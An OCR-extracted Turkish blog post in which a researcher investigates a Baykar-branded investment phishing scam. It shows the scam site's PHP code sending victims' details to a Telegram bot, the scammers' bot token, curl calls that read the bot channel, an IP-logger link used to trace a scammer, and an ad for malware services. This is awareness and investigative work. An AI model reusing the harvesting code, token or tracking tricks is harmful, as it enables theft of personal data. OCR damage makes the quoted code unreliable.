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Baslangic

Hatirlayanlariniz varsa 2024 yilinin Haziran ayinda yayinlamis oldugum
Deepfake Dolandiricilarina Dikkat! baslikli yazimda, Rusya merkezli olduguna
kanaat getirdigim dolandiricilik sebekesinin operasyonlarina dair detaylara,
baska bir yazimda yer verecegimi belirtmistim.

0 zamandan bu zamana kadar gecen surede siber guvenlik arastirmasi ile elde
ettigim bilgiler 6yle bir noktaya ulasti ki hangi birini yaziya ddkecegim
konusunda epey bir git gel yasadiktan sonra farkindalik adina en c¢ok faydasi
olacagina inandigim, dolandiricilar ile aramda gecen telefon gdérismelerinin

de yer aldigi kisimlari yaziya dokmeye karar verdim.

Umuyorum ki benim icin de onemli bir donum noktasina sahip olan bu 200.
arastirma yazim, farkindalik yaratma anlaminda arzu ettigim noktaya ulasir ve
bu arastirma ile ortaya koydugum en ufak bir bilgi bile dolandiricilik
dosyalarini aydinlatmada, kurbanlardan emniyet gliclerine kadar genis bir


https://www.mertsarica.com/yatirim-dolandiricilari/
https://www.hack4career.com/investment-scammers/
https://www.mertsarica.com/deepfake-dolandiricilari/

yelpazede fayda saglar.

Litfen sizler de daha az vatandasin magdur olmasi ve farkindalik yaratmasi
adina bu yaziyil cevrenizdekilerle paylasmayi ihmal etmeyin.

Teknik Arastirma
Kesif

2024 yilinin Mart ayinda USOM tarafindan Zararli Baglantilar listesine
Bankacilik — Oltalama aciklamasiyla eklenen tr-billgi[.]com alan adi

dikkatimi cekti.
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Finans sektoriine 6zel olarak gergeklestirilen sosyal mihendislik saldirilarina yonelik zararli alan adi, IP adresi veya baglantilarin bulundugu kategoridir.
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Web sitesini ziyaret ettigimde karsilastigim sayfa, oldukca siradan ve
zararsiz gorunuyordu. Olsa olsa bu sayfanin, tehdit aktdrleri arasinda
oldukca popiler olup, asil oltalama sayfasini gizlemek amaciyla olusturulmus
sahte ana sayfa (cloaking) oldugunu disinerek bu web sitesi Uzerinde
arastirma yapmaya karar verdim ve hikayemiz bu sekilde baslamis oldu.
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GLOBALCHANGE ILE OLASILIKLAR DUNYASINI

KESFEDIN

Bizimle birlikte yeni fikirleri, son dakika haberlerini kesfedebilecek ve
gelecegi sekillendirecek degisiklikleri uygulayabileceksiniz.
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& Welcome to' L , our team has been in the
Malware industry for over 3 years and here is a small list of our
- products ,

All product names are clickable and lead to the post in the ”
channel

4 Crypt: public | private | personal

4, Crypt APK: public | private | personal

4 Loader: standart | disable WinDef | disable 26 av from avcheck
4 Windows HVNC
4 Android RATs
4, Cloaking panel for your software and websites
4 EV Certificates

4 Deep Fake video

4 Twitter and TikTok ads
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Zararlyi Icerik Tespiti

tr-billgi[.]com web sitesini biraz kurcaladigimda /thanks klasdri dikkatimi
cekti. Bu sayfayi ziyaret ettigimde, burasinin web sitesinde yer alan
herhangi bir formu dolduranlarin yonlendirildigi bir sayfa oldugunu dislinmeye
basladim. Ozellikle sayfada itinayla tekrarlanan “Hicbir aramayi kacirmayin”,
“YOneticimiz sizi en kisa slrede arayacaktir” ifadeleri bu formu
dolduranlarin birileri tarafindan arandigina isaret ediyordu.
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Platforma katilmakla ilgilenen ¢ok sayida Kisi nedeniyle, tiim
yeni kullanicilar su anda bir bekleme listesindedir. Liste...

Oniimiizdeki birkag saat icinde hicbir aramay kagirmaym
yoksa yerinize bagkasi gecer.

Bu web sitesini kurcalamaya devam ettigimde bu tehdit aktoérinin de, baska bir
arastirma yazima konu olanlar gibi Operasyon Guvenligi (OPSEC) noktasinda
hata yaptiklarini tespit ettim. Hatayi firsata cevirip web sitesinin kaynak

kodlarina eristikten sonra kodlari teker teker incelemeye basladim.

Kisa bir sire icinde general.php dosyasinda sahte ana sayfaya ait kodlari
buldum. Thanks klasdriu ic¢inde yer alan index.php dosyasini, page klasériinde
yer alan offer.php, index.html dosyalarini inceledigimde ise tehdit aktorleri
tarafindan bu oltalama sitesinin Baykar savunma sirketinin adini kotuye
kullanarak kurbanlarini yatirim vaadiyle agina disirmek i¢in tasarlandigini

tespit ettim.
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general.php v

class="col-12
class="mobile_menu d-block
d-1lg-none

<!— header-end —>

<!— slider_area_start -—
class="slider_area
class="slider_active owl-carousel
class="single_slider overlay2 d-flex
align-items-center justify-content-center slider_bg_1
class="container
class="row’
class="col-x1-12
class="slider_text text-center
GlobalChange ile Olasiliklar
Diinyasini Kesfedin
Bizimle birlikte yeni
fikirleri, son dakika haberlerini
kesfedebilecek ve: gelecegi
sekillendirecek degisiklikleri
uygulayabileceksiniz.
href="#about" class="boxed-btn2
Daha fazla 6grenmek icin

<!— slider_area_end —>
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index.php

<?php
Firstname =
Lastname = ['1_nam
Fullname = $Firstname.
Ip ['HTTP_X_FOI
Country =
LandingPageURL =
Email = ['email'];
Phone [ realPhon
desk = ['desk'];

needle HAH

// $pos = strripos($Ip, $

// if ($pos == true) {

// $Ip = hexdec(substr($

substr($Ip, 7, 2));

// }

ROOT = (/%

ROOT ($ROOT) ;

QUERY = ['query'];

URI_ARRAY = (A

URI_ARRAY,

URI /",
https:// ROOT

&

SHORT_URL =

cpa (
phone' => (
full_name' => ($Fu
email' => $Email,
ip' => $Ip,
landing' => $SHORT_URL
landing_name' => 'TR_B
source' => 'FB',
country' => $Country,
description' => $des|

Y

Line 1, Column 1

['f_name'l;

e'l;
Lastname;
RWARDED_FOR'];

['HTTP_CF_IPCOUNTRY'];

['site'l;

eslp

needle);

Ip, 0, 2)) . "." . hexdec(substr($Ip, 2, 2)) . "." .
["DOCUMENT_R0O0T"1) ;

["REQUEST_URI"]);
25

URI_ARRAY) ;

URI . "?
URL) ;

QUERY;

ro

($LandingPageURL, @, 60);

Phone) ,

’ ’

"
1lname),

’

aykar-p',

13

hexdec(substr($Ip, 5, 2))
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BAYKAR YATIRIM

Simdi sirket, tiim sakinler igin "BAYKAR yatinm" platformuna erisimi agiyor, bylece herkes 6zel kisilerin sirketinin bliylimesinden kazanabilir.

>

YATIRIMCILAR iCiN BILGILENDIiRME BAYKAR YATIRIM

Hem BAYKAR hem de Tiirk vatandaslari igin faydali olacagi igin yatirimlara erisimi tim vatandaslara agmaya karar verdik. Yatirimci olabilir ve 7.000t baslangig yatirimi ile
ayda 50.000¢'den pasif olarak kazanabilirsiniz.

Mevcut gergeklerde, savunma sanayisine olan talep giderek artiyor ve tretimimizi hem Tirkiye iginde hem de disinda genisletiyoruz.
Bu nedenle, tim yerlesiklere erisim saglamaya ve liretim kapasitemizi 4 kat artirmaya karar verdik, bu nedenle Turkiye'nin her yerinden yatirimcilari gekmemiz gerekiyor.
Ortalama olarak, minimum 7.000¢ depozito yatiran herkes ayda 50.000% ile 100.000t arasinda kazaniyor.

Oltalama sayfasindaki Tirkce metinlerin yaninda Italyanca metinlerin de yer

almasi bir yandan dikkatimi c¢ekti. Tehdit aktdérlerinin uluslararasi

kurumlarin adini (Slovnaft, INA d.d, Bosphorus Gaz, Baykar, Interpol)

kullanarak dolandiricilik girisiminde bulundugunu Deepfake Dolandiricilarina

Dikkat! baslikli yazimdan bildigim icin muhtemelen bu metin, Italyan bir

sirketi hedef almak icin olusturduklari Italyanca oltalama sitesinden kalmis

ve Tlrkce'ye cevrilmesi unutulmustu.
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Teknik Takip

Bunlarin yani sira thanks klasoru icinde yer alan index.php dosyasinda
arastirmami derinlestirecek ¢ok onemli bir bilgiye daha ulastim. 0 da tehdit
aktorlerine ait olan Telegram Bot API jetonuydu (token).

<> index.php

if( ( ['cabinet']) && ['cabinet']){
( "refresh:1;url= ['cabinet'] );

}

Pixel ['pixel'];
message =

Phone: $Phone
full_name: Fullname
Email: $Email

SHORT_URL
landing_name: TR_Baykar-p
country: Country";

apiToken = "6969380767: AAEzn4UjPEVG8KkgVFpL4eCSXh7b7VGWALVE" ;
data = [
chat_id' => '-1001865424957',
text' => Smessage,
1;
https://api.telegram.org/bot$apiToken/sendMessage");
ch2, CURLOPT_HEADER, );
ch2, CURLOPT_RETURNTRANSFER, 1);
ch2, CURLOPT_POST, 1);
, CURLOPT_POSTFIELDS, ($data));
CURLOPT_SSL_VERIFYPEER, )

DOCTYPE
lang="ru

http-equiv="content-type" content="text/html; charset=UTF-8
charset="UTF-8
name="viewport" content="width=device-width, initial-scale=1.0'

Tebrikler!
rel="preconnect" href="../../../https@fonts.gstatic.com/default.htm
href="index_files/css2.css" rel="stylesheet'
rel="stylesheet" href="index_files/fonts.css
href="index_files/main3.css" rel="stylesheet
rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/flipclock/@.7.8/flipclock.css
rel="ican" hraf="__/favicon nna

Line 102, Column 1 Spaces: 2



https://core.telegram.org/bots/api

Telegram mesajlasma uygulamasi, hiz, guvenlik ve dosya paylasimi altyapisina
sahip olmasi nedeniyle son yillarda suc¢ 6rgutlerinin, tehdit aktérlerinin,
dolandiricilarin ugrak yeri olmaya devam ediyor.

Cogu tehdit aktori, Telegram Bot API‘sinden faydalanarak oltaya disiurdikleri
kisilerin calinan bilgilerini anlik olarak olusturduklari Telegram botlari
ile Telegram kanallari Uzerinden takip etmektedirler. Bunun ig¢in yapmalari
gereken ilk adim da botlarinin jetonlarini (token) gelistirdikleri oltalama
sitelerinin kaynak kodlarina yerlestirmektir.

Oltalama sitelerinin kaynak kodlarinin baskalarinin eline kolay kolay
gececegini dislinmeyen tehdit aktdorleri bu nedenle de bu jetonlari aylarca
degistirmezler. Bu da emniyet gliclerinden, siber givenlik arastirmacilarina
kadar tehdit aktdérlerinin Telegram lzerinden izlenmelerine olanak saglar.

2024 yilinin Mart ay1 itibariyle bu jetonu kullanan Telegram botu Uzerinden
kanala gonderilen tim mesajlari mercek altina almaya basladigimda bu jetonun
birden fazla oltalama sitesinde kullanildigini gordim. Oltalama sitesinde yer
alan formu dolduran kurbanlarin ise adlari, telefon numaralari, e-posta
adresleri, IP adresleri, hangi oltalama sitesini ziyaret ettikleri ve hangi
uUlkeden geldikleri anlik olarak kanala iletiliyordu.

) ® M mertrix — -zsh — 204x54

B curl —X POST "https://api.te 0767 : AAEzn4UjPEVGBkgVFpL4eCSXh7b7VEWALVE/getChat" —d "chat_id=-1001865424957" | jq
% Total % Received % Xferd Average Speed Tim Curren t
Dload Upload Tot
100 1322 100 1300 100 22 2588 43 —-i1--:



https://core.telegram.org/bots/api

e B mertrix — -zsh — 204x54

B curl -X POST "https://api.telegram.org/bot6969380767:AAEZN4UIPEVG8KgVFpL4eCSXh7b7VEWAtVE/getUpdates” —d "chat_id=-1001865424957" | iq
% Total % Received % Xferd Average Speed Time  Time Time Current
Dload Upload Total Speed
160 2802 100 2780 100 22 4728 37 ——t——i—- -1
{

: true,

s [

: 389977702,

: {
1 -1001865424957,
LE .

v

1 1711641322,
: 43933,

: 43933,

: {
1 6969380767,
: true,

: {
1 -10018654624957,

: 1711632643,
¢ "x Phone
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Kanalda yer alan kullanicilarin profillerine ve aralarinda gecen yazismalara
baktigimda Rus mu yoksa Ukraynali mi1i olduklarina kanaat getirmekte
zorlandigim i¢in son karari Deepl c¢eviri uygulamasina birakmaya karar verdim.
Deepl, tim bu metinlerin Rusca oldugunu belirtti. Bu kullanicilar gercekten

bu oltalama sitelerini kuran, operasyonunu yiuriten kisiler miydi yoksa sadece


https://www.deepl.com/en/translator

tehdit aktdrlerine Telegram Botu hizmeti saglayan araci hizmet saglayicisinin

yoneticileri miydi bu kisimdan cok emin olamadim.
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OH ecTb C HOMEepOoM, 3TO yXe Kak-To noe6ano
rae Homep

Ha NneHpe ¢ Banuaaumei

3T0 Y10 ?

3TO YTO , HE 3aKeM He 3aKpernJieH, He oTrnpasneH

HeT N1aa B CpM

DOMKEH e 3aitT

PO

CTPaHHO, HU B JSlIorax HX B No4Te ,uyﬁnﬂx no YyaTam HU NO HOMepPY ero Hert..
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Turkish v Glossary

Ben de varim.
Bir numarasi var, bu biraz boktan.

Numara nerede?

dogrulama ile bir arazi lizerinde.

Neymis 0?

Bu ne, kimseye atanmadi, génderilmedi.

Cfm'de kursun yok.

Garip, ne kayitlarda, ne postada, ne de numarada yok.
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3awen

OH eCTb C HOMEpOM, 3T0 Ye Kak-To noe6ano
rae Homep

Ha neHpe ¢ Banuaaumnen

3T0 41O ?

9T0 4TO , He 3aKeM He 3aKperseH, He OTnpaBneH

HeT nnaa B CpM

CTPaHHO, HM B Slorax HX B No4Te IJ,y6l'IﬂX Mno YyaTaM HU MO HOMepPY ero HeT..

[OMXEeH Xe 3aiTn
3TOro TecTa ToXe HeT
970 YTO , He 3aKeM He 3aKpersieH, He OTnpaBeH

3TO TeCT NPOCTO

P
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I'min.

He's got a number, it's kind of fucked up.
Where's the number?

on a land with validation.

What's that?

It's what, it's not assigned to anyone, it's not sent.
There's no lead in the srm.

It's strange, it's not in the logs or in the mail, neither in the chat doubles nor
in the number. It should be there.

There's no sign of this test either.
It's not assigned to anyone, it's not sent.

It's just a test.

P O C O ©® Z 0 <

2024 yilinin Temmuz ayina kadar dolandiricilarin oltalama amaciyla kullandigi

web sitelerini yakin takibe aldiktan sonra bu web sitelerindeki formlara

dolandiricilarla iletisim kurabilmek icin telefon numarami girmeye basladim.
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BAYKAR @

cevrimigi

Yaginiz

60 yas iistii

1

Yukaridaki kategorilerden herhangi
birine giriyor musunuz?

Engelli kisi

Ug veya daha fazla gocuklu aile

Hayir

amaglarla ek pasif gelr elde
2

Han,
etmek istersini:

Yeni bir ev/araba satin almak

Bilyiik bir finansal “yastik” yapin

Bir i kurmak

23 moniwise.info/hc

BAYKAR &

cevrimigi

Hangi amaglarla ek pasif gelir elde
etmek istersiniz?

Yeni bir ev/araba satin almak
Bilyilk bir fi
Bir ig kurmak
Borglan ddeyin

Ailenizin ihtiyaglanini kargilayin

Kendinizi enflasyon ve devaliiasyondan
Koruyun

Digerleri

Yatinm yapma konusunda deneyiminiz
var mi?
Evet

Hayir

Yalnizca kripto para birimleri

Hedeflerinizi kapatmak igin ne kadar
pasif gelire ulasmay! planliyorsunuz?
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BAYKAR @

cevrimigi

Hedeflerinizi kapatmak icin ne kadar
pasif gelire ulagmay! planliyorsunuz?

150008

s

250008

|
Anketi tamamladiginiz igin tesekkiir
ederiz! Su andan itibaren resmi olarak
Baykar'n bir iiyesisiniz. Kisisel
hesabiniza erisim ve kilit noktalar
proje operatéril tarafindan size
iletilecekir. Bir gun iginde sizinle
iletisime gegilecektir. Iyi sanslar!

e —

Formu doldur
— 5

Soyadi
|

Telefon numarasi

+90 (533)

25 moniwise.info/lander/bc/thanks.html

in

Tesekkiirler.
Basvurunuz kabul edildi.

En kisa zamanda danismaniniz size doniis
saglayacaktir. Danigman aramasini kagirmayiniz.

1. Dolandiricilik Girisimi

Takvimler 22 Temmuz 2024‘G g6sterdiginde +90 539 100 81 28 numarali cep
telefonundan kendisini misteri danismani olarak tanitan Derin isimli bir

kisiden doldurdugum forma istinaden WhatsApp mesaji aldim.



+90 539 100 8128

Musteri Danigmani Derin Yilmaz ben efendim. ..,

Merhaba 08:41

Osman Bey Baykar hissesi lizerine bir kaydiniz vardi 08:42

evet dogru 08:42

Suan aryabilir miyim sizi 08:42

toplantidayim bitince yazayim mi size? 08:42

Bekliyor olacagim 08:42

iyi giinler diliyorum

08:43

tegekkdrler. ...,

Rica ederim Osman Bey toplantiniz bittiginde yazin bana miisaitim diye. Detayl

bilgilendirme saglayacadim size 08:46

b dakikaya bitecek, yazacagim. 09:08 &

IV EET ] 09:21

20 dakika sonra bagka bir goriigmem var o yiizden vaktim sinirh. o,

Amerika’da yasadigim ve Turkiye ile saat farki 7 saat oldugu ic¢in dolandirici
ile iletisim kurmak zaman zaman zor oldu. Ozellikle dolandirici Tiirkiye saati
ile 9/6 calistigi (fazla mesai yapmayan bir meslek dali :)) ve benimle
iletisim kurmayi sabah saatlerinde yapmayi tercih ettigi icin benim saatime
gOre cogu gorusmemiz gece saat 02:00'dan sonra gerceklesti. Amacim bu
dolandiricilik carkini ortaya c¢ikarmak oldugu i¢in gecenin kori de olsa tim
cagrilarini biyiuk bir motivasyonla yanitlamayi basardaim.

Dolandirici ile 23 Temmuz 2024 tarihinde yaptigim WhatsApp gorismesinde,
hisse alim satimi gerceklestirebilmek icin Oncelikle mobil cihazima bir
uygulama yuklemem gerektigini ve bunun ic¢in de
https://appzone[.]mastercapital[.]info/#/auth/login web adresini ziyaret
etmem gerektigini belirtti. Her ne kadar dolandirici bunu mobil uygulama
olarak adlandirsa da isin aslinda bunun bir Progressive Web Apps (PWA) web
uygulamasi oldugunu gordim.


https://en.wikipedia.org/wiki/Progressive_web_app

TODAY

Giinaydin Osman Bey ...

Mutlu huzurlu bir giin diliyorum 01:59

Merhaba ;..o

5 dakikaya miisaitim, yazacagim. 02:04 W

Peki efendim o

Musaitim Derin Hanim 02:10 &/

Ariyorum Osman Bey 02:10

https://appzone.mastercapital.info/#/auth/login ,.,,

23 appzone.mastercapital.info/#/auth/login K ) & New Chrome available 3

i X . All Bookmarks
Install app

English v Master Capital

appzone.mastercapital.info

Cancel Install

Master Capital

Create Account

®
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Master Capital

®  Email

O+ Password ®
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Forgot password

Create Account




Web uygulamasina giris yaptigimda karsilastigim ekranlar Kripto Para
Dolandiricilari baslikli yazima konu olan sahte borsaya oldukca benziyordu.
Farkli olan kisim, dolandiricilar tarafindan uygulamada yer alan sembol

listesine sahte Baykar hisse senedi semboliinid (BAYKR-IST) eklemis
olmalariydi.


https://www.mertsarica.com/kripto-para-dolandiricilari/
https://www.mertsarica.com/kripto-para-dolandiricilari/

®

()3 25 pzone.mastercapital.info =+

Welcome
Osman T.

426338

Balance

$0.00

Equity Margin
$0.00 $0.00

Free Margin Credit
$0.00 $0.00

Recent Transactions
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Wallet Trade Accounts News Analysis Settings
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Wallet
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DAX-SEP24
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NSDQ-SEP
SP-SEP24

24

DXY-SEP24
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COPP-AUG24
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SI-AUG24
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Il

Trade
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0.00
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Gorusmenin devaminda dolandirici, bu borsaya para gonderebilmem ve sOzde
Baykar hissesini satin alabilmem icin benden paylasmis oldugu banka
hesaplarina para transferi yapmam gerektigini sOyledi. Ana amacim hem
dolandiricilarin yontemini 6grenmek hem de WhatsApp Dolandiricilari baslikli
yazimda yaptigim gibi kotiye kullanilan banka hesap bilgilerini 6grenip banka
yetkilileri ile paylasmak oldugu icin bir mizansen kurgulamaya karar verdim.

Benimle harcadiklari her bir dakikanin, masum vatandaslari dolandirmak icin
ayiracaklari zamandanin eksildigini bildigim icin mizansenin uzun ve gercekc¢i
olmasina gayret ettim.

Bliyuk bir hevesle para transferi yapmaya calisan ama slrekli hata alan bir
kurban roline biridndikten sonra dolandiriciya hata aldigimi belirttim.
Dolandirici da bir zaman sonra yeni bir banka hesap bilgisini benimle
paylasti. Ben de vakit kaybetmeden elde ettigim bilgileri banka yetkilileri
ile paylastaim.

Dolandirici @),

AGUM 0519

Cagn merkezi ile konusabildiniz mi ? islem yetkinizi agtirdiniz mi Osman Bey

03:1

Evet simdi goriigmemi bitirdim. Siipheli islem nedeniyle bu hesaba transfer
yapamazsiniz diyorlar, anlamadim bir tirli. Ben neden siipheli islem yapayim ki.

0313 v/

Simdi s6yle soyliyim Osman Bey siz x bir esya da alimi sagladaniz ticari alici
adinda yine size slipheli islem diye hata verecek, bu bizimle alakali bir
durum degil, ticari gonderimlerde hep bu sekilde hata sagliyor. Bunu ilk
defa sizde yagamadik daha once ki da bu sekilde hatalar aldik

03:19

yanllkla cagry reddettim. .., Y

Osman Bey 12:30'da iglemler basliyacak. Hangi agamadasiniz acaba ?

Edited 04:26

Finans birimi bilgi istiyor. O nedenle soruyorum iglem sirasina alacagim sizi

04:27

bankasi dogrulama igin subeye gitmemi istiyor kimlik igin 05:47

Uzun siiredir hesap kapali oldugu igin 05:47



https://www.mertsarica.com/whatsapp-dolandiricilari/

Dolandirici ke %

- bankasi dogrulama igin subeye
gitmemi istiyor kimlik igin 05:47 L/

Uzun siredir hesap kapali oldugu igin
05:47

Peki nasi bir yol izleyelim Osman Bey

05:49

Yakinlarinizda=g, ==, bankasi varsa
gidebilme ihtimaliniz var mi ? 06:22

Yada soyle soyliyim sizin icin daha kolay
olmasi adina 06:26

Goruntult arama saglayarak dogrulama
isleminizi de yapabilirsiniz aslinda ..,
Osman Bey ben sizin icin yeni bir banka
talep ettim e

VU.JJ

birde burdan deneyebilir misiniz ?
bakalim yine ayni hatayi alacak miyiz ?

06:53

Missed voice call
Tap to call back ..c¢

J0

Haber vereceg@im, bir gérigsmedeyim
Derin Hanim. 0717

Yeni banka ile deneriz. 0711 W/




I _CISA, CISM e @ Yo X

E Mert SARICA (He/Him) . 10:12 AM
Merhaba,

Dolandiricilik yapan bir ¢ete var, kullandiklari iban bilgisini
1| az once elde ettim. oldugu igin hizlica
paylasiyorum, aksiyon almakta fayda olacaktir.

(7]

o
Tesekkdrler.
IBAN:TR( Il I
1 Ad Soyad: = mmm o
<a

l CISA, CISM - 1:15 PM
q

Mert bey merhaba. Gonderdiginiz ibani incelenmesi
2 amaciyla fraud ekibimize iletecegim. Tesekkdurler. o

Aldigim hatalardan yaka silken Derin isimli dolandirici beni vakit
kaybetmeden bankalarin internet/mobil sube ekranlari konusunda ¢ok daha
bilgili ve tecribeli oldugunu disiindigim Demir isim dolandiriciya (+90 539
105 14 31) yonlendirse de sans pek ylzine gulmedi.

IP Tespiti

Gorismenin ilerleyen dakikalarinda benimle WhatsApp lzerinden iletisim
halinde olan dolandiricinin IP adresini 6grenmek icin Grabify IP Logger

uygulamasindan faydalanmaya karar verdim.

Grabify Uzerinde, ziyaret edildiginde X bir bankanin SIM karti bloke kaldirma
sayfasina yonlendiren bir baglanti adresi (link) olusturduktan sonra bunu
dolandirici ile paylastaim. Sohbetin gidisatina gore dogru zamanda baglanti
adresini dolandiriciya gonderdigim ic¢in ¢ok gec¢meden dolandiricinin IP
adresini ve baglandigi sehri Grabify lUzerinden tespit edebildim.


https://tr.wikipedia.org/wiki/IP_adresi
https://grabify.link/

(93.182.105.132 — Mersin)



<1 Q Dolandirici

Kusura bakmayin bende ge¢ donus
sagladim hattayim bende, isiniz biter
bitmez haber verin yeni banka ile deneriz

2:15PM

Tamamdir, o Be i de bir tekrar
deneyecegdim size donmeden once son
kez belki ¢alisir. 2:19PM

Ibandan sorun oldugunuzu diisiinmenizi
istemem 2:20PM

Bundan kaynakl yeni iban istedim ;.5

gorusmeniz bittiginde yazin bana birlikte

yeni ibana transfer islemini deneyelim

2:20PM

Eski ibana gonderim yapmayin onu
pasife aldim 5:91 BM

Bu arada =" B bankasi sim kart blokemi
kaldirirsam transfer yapabilecegimi
soyledi suraya yonlendirdi sms ile ilgili
olarak. Bu dediklerini yaparsam size
hizlica transfer yapabilir miyim? hitps://
R T = o

2.ci agama olarak onu deneriz ama
oncelik olarak .l & § Yeni ibana

gonderim saglamayi deneyelim
2:32PM




Dolandirici

Osman Bey halledebildiniz mi acaba ? .,

Maalesef subeye gitmem gerekiyormus. Bugiin de gitme sansim yok. 09:56

Peki hesabinizda ki bakiyeniz vadeli hesapta mi ? Edited 09:56

Vadeli hesaptaysa eger ondan hata aliyorsunuz. 09:57

yok vadesizde onu da kontrol etmistim. ..,

stipheli islem nedeniyle engelleniyor siirekli. 10:40 &

Osman Bey az once aldik bagka bir miigterimizden ..,

Ben en iyisi Mersin merkez subesine gideyim yarin. Bu ig

telefonla olmayacak gibi. 10:44

Yani bizimle alakali bir durum olsa inanin o da alamazdik. Sizin
bankanizda miktar yiiksek oldugundan dolayi bankaniz giiya sizi koruma adina
hata veriyor. Yarin | bankanizi halledin denemek amagli ordan bir kere

gonderim saglayalim 10:44

Haklisiniz, agikgasi siz de kusura bakmayin liitfen. Bu bankalarla isimiz
gergekten zor. Dolandiriciyi dolandirici diye engellemezler, sizler gibi alninin
akiyla is yapanlara para transferi yapmamizi da engelleyip duruyorlar. Ben bu isi

yarin sube mudiiriyle ¢ozecedim, merak etmeyin. 111 &

Mesaim bitti benimde Osman Bey yarin bankanizla gériistiikten sonra bana
bilgilendirme saglarsiniz ona gére yarim kalan islemimizi tamamlar iglem

sirasina aldiracagim sizi Edited 11113

tamamdir, tegekkdrler. ...

Rica ederim iyi aksamlar diliyorum.

A

111
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Istedigim bilgileri elde ettikten sonra dolandiricilara soduk dus etkisi
yaratmak icin baska dolandirici tarafindan dolandirilan kurban senaryosu ile
ilerlemeye karar verdim. Yazdigim mesajlar sonucunda, dolandiricilar
arasindaki rekabete yenik distuklerini distnen dolandiricilar, sirasiyla

sitem dolu mesajlar gondermeye basladilar.



< 1 Q +905391008128

Gunaydin Osman Bey .55 s

Nasilsiniz ?  4.55 A
Derin Hanim merhaba. Telefonu
acamadim kusura bakmayin. Din "R =
hesabimdaki tum birikimim maalesef
dolandiricilar tarafindan calinmis bu
nedenle sabah apar topar Ml subesine
ve ardindan Mersin siber suglarla
mucadele sube mudurligune ugramam
gerekti. Maalesef tum birikimim gitti cok
tzglndm. 2:40 PM W/

Osman Bey siz kiminle iletisime gectiniz
de paraniz gitti ? 5213 DM

m = bankasi 50 bin TL gonderimi
saglamayan bir banka Merkez bankasi
onayli bizim ticari hesaba para
gonderiminizi saglarken bile kisitllama
yaparken, hesabinizin bosaltmasina
anlam veremedim dogrusu




o Q +905391008128 0

anlam veremedim dogrusu T

Mersin merkezli bir dolandiricilik sebekesi
varmig, uluslararasi bir érgutun
parcasilarmis. Rusya, Ukrayna iligkili
olduklarn dusunuliyormus. Onlara bagl
Merve Hanim diye biriyle yazigiyordum
Whatsapp'tan iletisime gegmisti benimle
miMedya'dan oldugunu belirtip
borsaya acilacaklarini belirterek yatirim
istemisti. 2:45PM W/

Havale yapip ardindan bagka hesaptan
ctkarmiglar tum birikimimi 2:46 PM

Sizde bana yapmak yerine onlari tercih
ettiniz. Sizin adiniza Uzgunim

Edited 2:46 PM

Derin Hanim tum birikimim gitti sizce
suan bunu mu konusmaliyiz.
2:47PM

Yatirim sizin yatirnminiz benim beklentim
sadece aclk olmaniz Osman Bey .,/

Yaparsiniz yapmaniz o sizin karariniz tabi
ki 247 PM

Osman Bey sanirim musait degilsiniz
aramigtim sizi ama 4:05PM

IO IV

Thu, Jul 25

Osman Bey gunaydin .44y




"®) 905391008128

Osman bey merhabalar Derin Hanim ile
yaptiginiz gorusmeniz igin ulasim
sagliyorum 2:31PM

Finans departmanindan finans uzmani
Demir akyol ben 2:39 PM

2L FIVl

Sizleri aradim ama ulasamadim
musaitliginizde 5 dk gorusmek adina
donusunuzu bekliyorum 2:33 PM

Demir Bey merhaba. Telefonu agamadim
kusura bakmayin. Dun ™= =

hesabimdaki tum birikimim maalesef
dolandincilar tarafindan ¢alinmig bu
nedenle sabah apar topar ® m = subesine
ve ardindan Mersin siber suclarla
mucadele sube mudurltigune ugramam
gerekti. Maalesef tUm birikimim gitti cok

uzgunum. Edited 2:40PM

Osman bey transfer isleminde bu iglemi
onaylamayan bankaniz size para
yollatmazken dogru bir iglem i¢in tim
birikiminizin hesabinizdan alinmasina
nasil mudahale etmedi

havale yapmiglar once daha sonra bagka
bankaya transfer. 2:49PM




Yazdiklarima ragmen beni ikinci defa dolandirma umutlarini sonuna kadar
koruyan ve iletisimi devam ettirmeye motive olmus vicdansiz, serin kanli

dolandirilaricilarin mesajlari ben yanit vermeyi biraktiktan bir slire sonra
kesildi.



{1 Q +905391008128 g S

havale yapmiglar once daha sonra bagka
bankaya transfer. 2:49PM

Gecmis olsun efendim tabi ama durum su

banka size havale yapmaniza musade

etmezken bu birikiminizin gitmesine nasil

musadee edebildi bu havaleyi islemini

nasil onayladi orasini finans uzmani olarak

anlayamadim 2:51PM
Tesekkurler, ben de anlamadim. Bagka
bankaya transferi engelleyip havale yapip
daha sonra bagka bankaya transfer
etmeye musade etmisler dedi siber suglar

2:52PM W/

Detay ogrendikge sizlerle paylasirim.
Sizler de dikkatli olun. 2:E3PM

Gecgmis olsun efendim ne zaman
isterseniz iletisim de kalabiliriz daima
burdayiz efendim :53 PM

£ 20 F WV

tesekkurler eksik olmayin. parami geri
alinca sizinle hemen iletisime gegecegim.
2:54PM

Biz tesekkur ederiz efendim yasadiginiz
olumsuzluk sebebiyle kontenjaninizi belli
bir sure acik bekletiyorum once kendiniz
icin olumlu haberlerinizi bekliyoruz
Osman Bey.

A




Tdm bu olup bitenler devam ederken Baykar sirketi de 2024 yilinin basindan bu
yana vatandaslari uyarmak ic¢in yazili, goOrsel ve sosyal medya hesaplarindan
bu konuda uyarilar (#1, #2, #3) yayinlamaya hiz kesmeden devam etti.

Ses Kayitlari

Merak edenleriniz dolandiricilarla gerceklestirmis oldugum akillara durgunluk
veren gorismelerin ses kayitlarini asagida, YouTube kanalim lzerinden

dinleyebilirler.

2. Dolandiricilik Girisimi
IP Tespiti

Takvimler 2024 yilinin Ekim ayini yani bir 6nceki dolandiricilik girisiminden
neredeyse 3 ay sonrasini gosterdiginde bu defa +90 548 822 66 82 numarali cep
telefonundan Ipek isimli baska bir dolandirici yine ayni senaryo ile benimle
iletisime gec¢ti. Ben de firsat bu firsat daha 6nceki yontemle bu
dolandiricinin da IP adresini elde etmeye karar verdim. Yine benzer bir
sekilde dolandiriciyi yemledikten sonra bu dolandiricinin 6ncekinin aksine
Mersin yerine Glrcistan’in baskenti Tiflis‘ten baglanti kurdugunu tespit

ettim. (Dolandiricinin vekil sunucu (proxy) kullanmadigini varsaydim.)


https://x.com/BaykarTech/status/1779934904576262495
https://www.linkedin.com/posts/baykar_kamuoyuna-duyuru-sahte-yat%C4%B1r%C4%B1m-f%C4%B1rsatlar%C4%B1-ugcPost-7256215983537672192-I8Iz/?utm_source=share&utm_medium=member_ios
https://www.ntv.com.tr/turkiye/baykardan-dolandiricilik-uyarisi-sahte-yatirim-firsatlari,2ZAjNgMUyUmk72jGXUt-2Q
https://www.youtube.com/c/mertsarica
